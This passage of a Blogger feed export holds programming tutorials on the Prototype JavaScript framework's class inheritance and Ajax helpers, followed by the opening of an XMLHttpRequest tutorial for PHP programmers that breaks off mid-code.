calls to addMethods (see below). This can   conveniently be used for mixing in modules:&lt;/p&gt;&lt;PRE&gt;// define a module &lt;BR&gt;var Vulnerable = { &lt;BR&gt;&amp;nbsp;&amp;nbsp;wound: function(hp) { &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;this.health -= hp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (this.health &amp;lt; 0) this.kill(); &lt;BR&gt;&amp;nbsp;&amp;nbsp;}, &lt;BR&gt;&amp;nbsp;&amp;nbsp;kill: function() { &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;this.dead = true; &lt;BR&gt;&amp;nbsp;&amp;nbsp;} &lt;BR&gt;}; &lt;p&gt;&lt;BR&gt;&lt;/p&gt;// the first argument isn't a class object, so there is no inheritance ... &lt;BR&gt;// simply mix in all the arguments as methods: &lt;BR&gt;var Person = Class.create(Vulnerable, { &lt;BR&gt;&amp;nbsp;&amp;nbsp;initialize: function() { &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;this.health = 100; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;this.dead = false; &lt;BR&gt;&amp;nbsp;&amp;nbsp;} &lt;BR&gt;}); &lt;p&gt;&lt;BR&gt;&lt;/p&gt;var bruce = new Person; &lt;BR&gt;bruce.wound(55); &lt;BR&gt;bruce.health; //-&amp;gt; 45 &lt;BR&gt;&lt;/PRE&gt;  &lt;h2&gt;The $super argument in method definitions&lt;/h2&gt;  &lt;p&gt;When you override a method in a subclass, but still want to be able to call   the original method, you will need a &lt;EM&gt;reference&lt;/EM&gt; to it. You can obtain   that reference by defining those methods with an extra argument in the front:   $super. Prototype will detect this and make the overridden method   available to you through that argument. But, from outside world the   Pirate#say method still expects a single argument; this   implementation detail doesn't affect how your code interacts with the   objects.&lt;/p&gt;  &lt;h2&gt;Types of inheritance in programming languages&lt;/h2&gt;  &lt;p&gt;Generally we distinguish between class-based and prototypal inheritance, the   latter being specific to JavaScript. While upcoming JavaScript 2.0 will support   true class definitions, current versions of the JavaScript language implemented   in modern browsers are restricted to prototypal inheritance.&lt;/p&gt;&lt;p&gt;Prototypal inheritance, of course, is a very useful feature of the language,   but is often too verbose when you are actually creating your objects. This is   why we are emulating class-based inheritance (like in the Ruby language) through   prototypal inheritance internally. This has certain implications. For instance,   in PHP you can define the inital values for instance variables:&lt;/p&gt;&lt;PRE&gt;class Logger {    &lt;br&gt; public $log = array();      &lt;br&gt; function write($message) {      &lt;br&gt;  $this-&amp;gt;log[] = $message;    &lt;br&gt; }  &lt;br&gt;}&lt;br&gt;$logger = new Logger;  &lt;br&gt;$logger-&amp;gt;write('foo');  &lt;br&gt;$logger-&amp;gt;write('bar');  &lt;br&gt;$logger-&amp;gt;log; // -&amp;gt; ['foo', 'bar']  &lt;/PRE&gt;  &lt;p&gt;We can try to do the same in Prototype:&lt;/p&gt;&lt;PRE&gt;var Logger = Class.create({ &lt;BR&gt;&amp;nbsp;&amp;nbsp;initialize: function() { }, &lt;BR&gt;&amp;nbsp;&amp;nbsp;log: [], &lt;BR&gt;&amp;nbsp;&amp;nbsp;write: function(message) { &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;this.log.push(message); &lt;BR&gt;&amp;nbsp;&amp;nbsp;} &lt;BR&gt;}); &lt;p&gt;&lt;BR&gt;&lt;/p&gt;var logger = new Logger; &lt;BR&gt;logger.log; // -&amp;gt; [] &lt;BR&gt;logger.write('foo'); &lt;BR&gt;logger.write('bar'); &lt;BR&gt;logger.log; // -&amp;gt; ['foo', 'bar'] &lt;BR&gt;&lt;/PRE&gt;&lt;p&gt;It works. But what if we make &lt;STRONG&gt;another&lt;/STRONG&gt; instance of   Logger?&lt;/p&gt;&lt;PRE&gt;var logger2 = new Logger; &lt;BR&gt;logger2.log; // -&amp;gt; ['foo', 'bar'] &lt;BR&gt;&lt;BR&gt;// ... hey, the log should have been empty! &lt;BR&gt;&lt;/PRE&gt;&lt;p&gt;You can see that, although some of you expected an empty array in the new   instance, we have the same array as the previous logger. In fact, &lt;EM&gt;all&lt;/EM&gt; logger objects will share the same array object because it is copied by   reference, not by value. &lt;STRONG&gt;The correct way is to initialize your instances   to default values:&lt;/STRONG&gt;&lt;/p&gt;&lt;PRE&gt;var Logger = Class.create({ &lt;BR&gt;&amp;nbsp;&amp;nbsp;initialize: function() { &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// this is the right way to do it: &lt;BR&gt;this.log = []; &lt;BR&gt;&amp;nbsp;&amp;nbsp;}, &lt;BR&gt;&amp;nbsp;&amp;nbsp;write: function(message) { &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;this.log.push(message); &lt;BR&gt;&amp;nbsp;&amp;nbsp;} &lt;BR&gt;}); &lt;BR&gt;&lt;/PRE&gt;  &lt;h2&gt;Defining class methods&lt;/h2&gt;  &lt;p&gt;There is no special support for class methods in Prototype 1.6.0. Simply   define them on your existing classes:&lt;/p&gt;&lt;PRE&gt;Pirate.allHandsOnDeck = function(n) { &lt;BR&gt;&amp;nbsp;&amp;nbsp;var voices = []; &lt;BR&gt;&amp;nbsp;&amp;nbsp;n.times(function(i) { &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;voices.push(new Pirate('Sea dog').say(i + 1)); &lt;BR&gt;&amp;nbsp;&amp;nbsp;}); &lt;BR&gt;&amp;nbsp;&amp;nbsp;return voices; &lt;BR&gt;} &lt;p&gt;&lt;BR&gt;&lt;/p&gt;Pirate.allHandsOnDeck(3); &lt;BR&gt;// -&amp;gt; ["Sea dog: 1, yarr!", "Sea dog: 2, yarr!", "Sea dog: 3, yarr!"] &lt;BR&gt;&lt;/PRE&gt;&lt;p&gt;If you need to define several at once, simply use Object.extend   as before:&lt;/p&gt;&lt;PRE&gt;Object.extend(Pirate, { &lt;BR&gt;&amp;nbsp;&amp;nbsp;song: function(pirates) { ... }, &lt;BR&gt;&amp;nbsp;&amp;nbsp;sail: function(crew) { ... }, &lt;BR&gt;&amp;nbsp;&amp;nbsp;booze: ['grog', 'rum'] &lt;BR&gt;}); &lt;BR&gt;&lt;/PRE&gt;&lt;p&gt;When you inherit from Pirate, the class methods are &lt;EM&gt;not&lt;/EM&gt; inherited.   This feature may be added in future versions of Prototype. Until then, copy the   methods manually, but &lt;EM&gt;not&lt;/EM&gt; like this:&lt;/p&gt;&lt;PRE&gt;var Captain = Class.create(Pirate, {}); &lt;BR&gt;// this is wrong! &lt;BR&gt;Object.extend(Captain, Pirate); &lt;BR&gt;&lt;/PRE&gt;&lt;p&gt;Class constructors are Function objects and it will mess them up if you just   copy everything from one to another. In the best case you will still end up   overriding subclasses and superclass properties on   Captain, which is not good.&lt;/p&gt;  &lt;h2&gt;Special class properties&lt;/h2&gt;  &lt;p&gt;Prototype 1.6.0 defines two special class properties: subclasses   and superclass. Their names are self-descriptive: they hold   references to subclasses or superclass of the current class, respectively.&lt;/p&gt;&lt;PRE&gt;Person.superclass &lt;BR&gt;// -&amp;gt; null &lt;BR&gt;Person.subclasses.length &lt;BR&gt;// -&amp;gt; 1 &lt;BR&gt;Person.subclasses.first() == Pirate &lt;BR&gt;// -&amp;gt; true &lt;BR&gt;Pirate.superclass == Person &lt;BR&gt;// -&amp;gt; true &lt;BR&gt;Captain.superclass == Pirate &lt;BR&gt;// -&amp;gt; true &lt;BR&gt;Captain.superclass == Person &lt;BR&gt;// -&amp;gt; false &lt;BR&gt;&lt;/PRE&gt;&lt;p&gt;These properties are here for easy class introspection.&lt;/p&gt;  &lt;h2&gt;Adding methods on-the-fly with Class#addMethods()&lt;/h2&gt;  &lt;DIV&gt;Class#addMethods   was named Class.extend in Prototype 1.6 RC0.&lt;BR&gt;Please update your   code accordingly.&lt;/DIV&gt;&lt;p&gt;Imagine you have an already defined class you want to add extra methods to.   Naturally, you want those methods to be instantly available on subclasses and   every existing instance in the memory! This is accomplished by injecting a   property in the prototype chain, and the safest way to do it with Prototype is   to use Class#addMethods:&lt;/p&gt;&lt;PRE&gt;var john = new Pirate('Long John'); &lt;BR&gt;john.sleep(); &lt;BR&gt;// -&amp;gt; ERROR: sleep is not a method &lt;BR&gt;&lt;BR&gt;// every person should be able to sleep, not just pirates! &lt;BR&gt;Person.addMethods({ &lt;BR&gt;&amp;nbsp;&amp;nbsp;sleep: function() { &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return this.say('ZzZ'); &lt;BR&gt;&amp;nbsp;&amp;nbsp;} &lt;BR&gt;}); &lt;p&gt;&lt;BR&gt;&lt;/p&gt;john.sleep(); &lt;BR&gt;// -&amp;gt; "Long John: ZzZ, yarr!" &lt;BR&gt;&lt;/PRE&gt;&lt;p&gt;The sleep method was instantly available not only on new Person   instances, but on its subclasses and existing instances currently in   memory.&lt;/p&gt;&lt;/DIV&gt;&lt;/DIV&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-4071804848995090257?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/4071804848995090257/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=4071804848995090257' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/4071804848995090257'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/4071804848995090257'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/05/how-prototype-extends-dom.html' title='Prototype JavaScript framework'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-7253117956907914346</id><published>2008-05-09T14:10:00.001+05:30</published><updated>2008-05-20T12:49:48.297+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Technology Upgrades'/><category scheme='http://www.blogger.com/atom/ns#' term='AJAX'/><title type='text'>Introduction to Ajax</title><content type='html'>&lt;h2&gt;Introduction to Ajax&lt;/h2&gt;&lt;div id="lmeta"&gt;Last updated on February 24th, 2007&lt;/div&gt;&lt;div id="learn-excerpt"&gt;&lt;p&gt;Prototype framework enables you to deal with Ajax calls in a very easy and   fun way that is also safe (cross-browser). Besides simple requests, this module   also deals in a smart way with JavaScript code returned from a server and   provides helper classes for polling.&lt;/p&gt;&lt;/div&gt;&lt;div id="abody"&gt;&lt;p&gt;Ajax functionality is contained in the global Ajax object. The   transport for Ajax requests is &lt;em&gt;xmlHttpRequest&lt;/em&gt;, with browser differences   safely abstracted from the user. Actual requests are made by creating instances   of the &lt;b&gt;Ajax.Request&lt;/b&gt; object.&lt;/p&gt;&lt;pre&gt;new Ajax.Request('/some_url', { method:'get' });&lt;/pre&gt;&lt;p&gt;The first parameter is the URL of the request; the second is the options   hash. The &lt;em&gt;method&lt;/em&gt; option refers to the HTTP method to be used; default   method is POST.&lt;/p&gt;&lt;p&gt;Remember that for security reasons (that is preventing   cross-site scripting attacks) &lt;em&gt;Ajax requests can only be made to URLs of the   same protocol, host and port of the page containing the Ajax request&lt;/em&gt;. Some   browsers might allow arbitrary URLs, but you shouldn't rely on support for   this.&lt;/p&gt;&lt;h3&gt;Ajax response callbacks&lt;/h3&gt;&lt;p&gt;Ajax requests are by default &lt;em&gt;asynchronous&lt;/em&gt;, which means you must have   callbacks that will handle the data from a response. Callback methods are passed   in the options hash when making a request:&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;new Ajax.Request('/some_url', &lt;br /&gt;&amp;nbsp;&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;method:'get', &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;onSuccess: function(transport){ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var response = transport.responseText || &amp;quot;no response text&amp;quot;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert(&amp;quot;Success! \n\n&amp;quot; + response); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;onFailure: function(){ alert('Something went wrong...') } &lt;br /&gt;&amp;nbsp;&amp;nbsp;}); &lt;br /&gt;&lt;/pre&gt;&lt;p&gt;Here, two callbacks are passed in the hash that alert of either success or   failure; onSuccess and onFailure are called   accordingly based on the status of the response. The first parameter passed to   both is the native &lt;em&gt;xmlHttpRequest&lt;/em&gt; object from which you can use its   responseText and responseXML properties,   respectively.&lt;/p&gt;&lt;p&gt;You can specify both callbacks, one or none - it's up to you. Other available   callbacks are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;onUninitialized, &lt;/li&gt;&lt;li&gt;onLoading, &lt;/li&gt;&lt;li&gt;onLoaded, &lt;/li&gt;&lt;li&gt;onInteractive, &lt;/li&gt;&lt;li&gt;onComplete and &lt;/li&gt;&lt;li&gt;onException. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;They all match a certain state of the &lt;em&gt;xmlHttpRequest&lt;/em&gt; transport,   except for onException which fires when there was an exception   while dispatching other callbacks.&lt;/p&gt;&lt;p&gt;Also available are onXXX callbacks, where XXX is the HTTP   response status like 200 or 404. Be aware that, when using those, your   onSuccess and onFailure won't fire because   onXXX takes precedence, therefore using these means you know what   you're doing.&lt;/p&gt;&lt;p&gt;The onUninitialized, onLoading,   onLoaded, and onInteractive callbacks are not   implemented consistently by all browsers. In general, it's best to avoid using   these.&lt;/p&gt;&lt;h3&gt;Parameters and the HTTP method&lt;/h3&gt;&lt;p&gt;You can pass the parameters for the request as the parameters   property in options:&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;new Ajax.Request('/some_url', { &lt;br /&gt;&amp;nbsp;&amp;nbsp;method: 'get', &lt;br /&gt;&amp;nbsp;&amp;nbsp;parameters: {company: 'example', limit: 12} &lt;br /&gt;&amp;nbsp;&amp;nbsp;}); &lt;br /&gt;&lt;/pre&gt;&lt;p&gt;Parameters are passed in as a hash (preferred) or a string of key-value pairs   separated by ampersands (like company=example&amp;amp;limit=12).&lt;/p&gt;&lt;p&gt;You can use parameters with both GET and POST requests. Keep in mind,   however, that GET requests to your application should never cause data to be   changed. Also, browsers are less likely to cache a response to a POST request,   but more likely to do so with GET.&lt;/p&gt;&lt;p&gt;One of the primary applications for the parameters property is sending the   contents of a FORM with an Ajax request, and Prototype gives you a helper method   for this, called &lt;b&gt;Form.serialize&lt;/b&gt;:&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;new Ajax.Request('/some_url', { &lt;br /&gt;&amp;nbsp;&amp;nbsp;parameters: $('id_of_form_element').serialize(true) &lt;br /&gt;&amp;nbsp;&amp;nbsp;}); &lt;br /&gt;&lt;/pre&gt;&lt;p&gt;If you need to push custom HTTP request headers, you can do so with the   requestHeaders option. Just pass name-value pairs as a hash or in a   flattened array, like: ['X-Custom-1', 'value', 'X-Custom-2', 'other   value'].&lt;/p&gt;&lt;p&gt;If, for some reason, you have to POST a request with a custom post body (not   parameters from the parameters option), there is a   postBody option exactly for that. Be aware that when using   postBody, parameters passed will never be posted because   postBody takes precedence as a body - using the option means you   know what you're doing.&lt;/p&gt;&lt;h3&gt;Evaluating a JavaScript response&lt;/h3&gt;&lt;p&gt;Sometimes the application is designed to send JavaScript code as a response.   If the content type of the response matches the MIME type of JavaScript then   this is true and Prototype will automatically eval() returned code.   You don't need to handle the response explicitly if you don't need to.&lt;/p&gt;&lt;p&gt;Alternatively, if the response holds a X-JSON header, its content will be   parsed, saved as an object and sent to the callbacks as the second argument:&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;new Ajax.Request('/some_url', { method:'get', &lt;br /&gt;&amp;nbsp;&amp;nbsp;onSuccess: function(transport, json){ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert(json ? Object.inspect(json) : &amp;quot;no JSON object&amp;quot;); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &lt;br /&gt;&amp;nbsp;&amp;nbsp;}); &lt;br /&gt;&lt;/pre&gt;&lt;p&gt;Use this functionality when you want to fetch non-trivial data with Ajax but   want to avoid the overhead of parsing XML responses. JSON is much faster (and   lighter) than XML.&lt;/p&gt;&lt;h3&gt;Global responders&lt;/h3&gt;&lt;p&gt;There is an object that is informed about every Ajax request:   Ajax.Responders. With it, you can register callbacks that will fire   on a certain state of any Ajax.Request issued:&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;Ajax.Responders.register({ &lt;br /&gt;&amp;nbsp;&amp;nbsp;onCreate: function(){ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert('a request has been initialized!'); &lt;br /&gt;&amp;nbsp;&amp;nbsp;}, &lt;br /&gt;&amp;nbsp;&amp;nbsp;onComplete: function(){ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert('a request completed'); &lt;br /&gt;&amp;nbsp;&amp;nbsp;} &lt;br /&gt;}); &lt;br /&gt;&lt;/pre&gt;&lt;p&gt;Every callback matching an &lt;em&gt;xmlHttpRequest&lt;/em&gt; transport state is allowed   here, with an addition of onCreate. Globally tracking requests like   this can be useful in many ways: you can log them for debugging purposes using a   JavaScript logger of your choice or make a global exception handler that informs   the users of a possible connection problem.&lt;/p&gt;&lt;h3&gt;Updating your page dynamically with Ajax.Updater&lt;/h3&gt;&lt;p&gt;Developers often want to make Ajax requests to receive HTML fragments that   update parts of the document. With Ajax.Request with an   onComplete callback this is fairly easy, but with &lt;b&gt;Ajax.Updater&lt;/b&gt; it's even easier!&lt;/p&gt;&lt;p&gt;Suppose you have this code in your HTML document:&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;h2&amp;gt;Our fantastic products&amp;lt;/h2&amp;gt; &lt;br /&gt;&amp;lt;div id=&amp;quot;products&amp;quot;&amp;gt;(fetching product list ...)&amp;lt;/div&amp;gt; &lt;br /&gt;&lt;/pre&gt;&lt;p&gt;The 'products' container is empty and you want to fill it with HTML returned   from an Ajax response. No problem:&lt;/p&gt;&lt;pre&gt;new Ajax.Updater('products', '/some_url', { method: 'get' });&lt;/pre&gt;&lt;p&gt;That's all, no more work. The arguments are the same of   Ajax.Request, except there is the receiver element in the first   place. Prototype will automagically update the container with the response using   the Element.update() method.&lt;/p&gt;&lt;p&gt;If your HTML comes with inline scripts, they will be stripped by default.   You'll have to pass true as the evalScripts option in   order to see your scripts being executed.&lt;/p&gt;&lt;p&gt;But what if an error occurs, and the server returns an error message instead   of HTML? Often you don't want insert errors in places where users expected   content. Fortunately, Prototype provides a convenient solution: instead of the   actual container as the first argument you can pass in a hash of 2 different   containers in this form: { success:'products', failure:'errors' }.   Content will be injected in the &lt;em&gt;success&lt;/em&gt; container if all went well, but   errors will be written to the &lt;em&gt;failure&lt;/em&gt; container. By using this feature   your interfaces can become much more user-friendly.&lt;/p&gt;&lt;p&gt;You might also choose not to overwrite the current container contents, but   insert new HTML on top or bottom like you would do with   Insertion.Top or Insertion.Bottom. Well, you can. Just   pass the insertion object as the insertion parameter to Ajax:&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;new Ajax.Updater('products', '/some_url', { &lt;br /&gt;&amp;nbsp;&amp;nbsp;method: 'get', &lt;br /&gt;&amp;nbsp;&amp;nbsp;insertion: Insertion.Top &lt;br /&gt;&amp;nbsp;&amp;nbsp;}); &lt;br /&gt;&lt;/pre&gt;&lt;p&gt;Ajax.Updater will use the given object to make the insertion of   returned HTML in the container ('products') element. Nifty.&lt;/p&gt;&lt;h3&gt;Automate requests with the Ajax.PeriodicalUpdater&lt;/h3&gt;&lt;p&gt;You find the Ajax.Updater cool, but want to run it in periodical   intervals to repeatedly fetch content from the server? Prototype framework has   that, too - it's called &lt;b&gt;Ajax.PeriodicalUpdater&lt;/b&gt;, and   basically it's running Ajax.Updater at regular intervals.&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;new Ajax.PeriodicalUpdater('products', '/some_url', &lt;br /&gt;&amp;nbsp;&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;method: 'get', &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;insertion: Insertion.Top, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;frequency: 1, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;decay: 2 &lt;br /&gt;&amp;nbsp;&amp;nbsp;}); &lt;br /&gt;&lt;/pre&gt;&lt;p&gt;Two new options here are frequency and decay.   Frequency is the interval in seconds at which the requests are to be made. Here,   it's 1 second, which means we have an Ajax request every second. The default   frequency is 2 seconds. Our users might be happy because the responsiveness of   the application, but our servers might be taking quite a load if enough people   leave their browsers open on the page for quite some time. That's why we have &lt;em&gt;the decay option&lt;/em&gt; - it is the factor by which the frequency is   multiplied every time when current response body is the same as previous one.   First Ajax request will then be made in 1 second, second in 2, third in 4   seconds, fourth in 8 and so on. Of course, if the server always returns   different content, decay will never take effect; this factor only makes sense   when your content doesn't change so rapidly and your application tends to return   the same content over and over.&lt;/p&gt;&lt;p&gt;Having frequency falloff can take the load off the servers considerably   because the overall number of requests is reduced. You can experiment with this   factor while monitoring server load, or you can turn it off completely by   passing 1 (which is default) or simply omitting it.&lt;/p&gt;&lt;h3&gt;Move along&lt;/h3&gt;&lt;p&gt;Learn more about &lt;b&gt;Ajax.Request&lt;/b&gt;, &lt;b&gt;Ajax.Updater&lt;/b&gt; and &lt;b&gt;Ajax options&lt;/b&gt;.&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-7253117956907914346?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/7253117956907914346/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=7253117956907914346' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/7253117956907914346'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/7253117956907914346'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2007/11/introduction-to-ajax.html' title='Introduction to Ajax'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-6265933139354392268</id><published>2008-05-09T14:09:00.002+05:30</published><updated>2008-05-20T13:30:15.529+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='AJAX'/><title type='text'>XMLHttpRequest and AJAX  for PHP programmers</title><content type='html'>&lt;h3&gt;&lt;strong&gt;Introduction:&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;Although the  concept isn't entirely new, XMLHttpRequest technology is implemented on more  sites now than ever. Compatibility is no longer an issue (IE, Mozilla and Opera  all support it), and the benefits to using it are amazing. There are too many  PHP programmers avoiding any work with javascript beyond simple form  validation, and for good reason. It's difficult to keep several languages  proficiently under your belt. But using the XMLHttpRequest object is not as  hard as everybody thinks, and you don't need to buy and memorize another  reference manual. &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Let's Get To It!&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;Asynchronous  JavaScript and XML, or AJAX  is a method of sending and receiving data (usually XML) from a server-side  application through javascript. Since javascript offers the ability to change  the contents of a web page on-the-fly, this technique allows web programmers to  venture closer to programming truly interactive web applications similar to  those built with Java and ActiveX. &lt;/p&gt;&lt;p&gt;As PHP developers,  it might seem tempting to avoid the use of Javascript and leave it to the  dsigner. After all, we aren't usually programming the UI, but the processing  components required by the UI. The distinction between the two is disappearing.  Here's a simple diagram that demonstrates just how AJAX works: &lt;br&gt;    &lt;img width=500 src="http://lh3.ggpht.com/samashok143/SCxIGxgr04I/AAAAAAAAAOQ/tPrTiaW0nR4/XMLHttpRequest.gif"&gt;&lt;br&gt;  If you're working  for a small or medium sized company interested in implementing AJAX solutions, you might end up responsible  for figuring out how. &lt;/p&gt;&lt;p&gt;XMLHttpRequest  objects can be a simple way of getting data to and from a PHP application while  keeping your client right at home on the same page. Our example today will  allow a user to select a specific piece of software that your company makes. We  will show a selection box with several categories. When a user selects a category,  a request is sent to a PHP application which returns a list of applicable  software. The information is used to generate a list of the results underneath  the selection box. Since the information is not loaded with the initial page,  your company saves bandwidth, and because the user doesn't have to bounce from  page to page for results, he will find your company's page more inviting and  faster to load. &lt;/p&gt;&lt;h3&gt;&lt;strong&gt;Javascript for PHP Programmers&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;Since we'll be  working with Javascript, it's good to get a basic tutorial given a background  in PHP. &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Variables:&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;Variables in  javascript are declared in much the same was as in PHP. To declare a variable  in javascript, use the following: &lt;/p&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;[javascript code]&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;var varname = varvalue; //Declaring your variable is not mandatory, but good practice.&lt;/pre&gt;&lt;h2&gt;&lt;strong&gt;Variables:&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;Variable types are  handled loosely, as they are in PHP. &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Control Structures:&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;PHP and javascript  have a very similar way of using these as well... You can use if/else  statements, switch statements, for and while loops and nested loops all with  PHP syntax. If/elseif/else statements are a little different, but not much: &lt;/p&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;[javascript code]&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;var variable1 = 1; //Declare a variable.&lt;/pre&gt;&lt;pre&gt;if(variable1 == 1){ &lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Increment variable value by 1&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; variable1++;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* The following brings up a message box, a handy way of checking variable values as you&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; go. Be careful not to use these in loops that are too long. */&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; alert(variable1); &lt;/pre&gt;&lt;pre&gt;}else if(variable1 == 2){ //Elseif's in javascript require a space between the else and if.&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(i=0;i&amp;lt;20;i++){ //For loop.&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; variable1++;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; switch(variable1){ //Switch 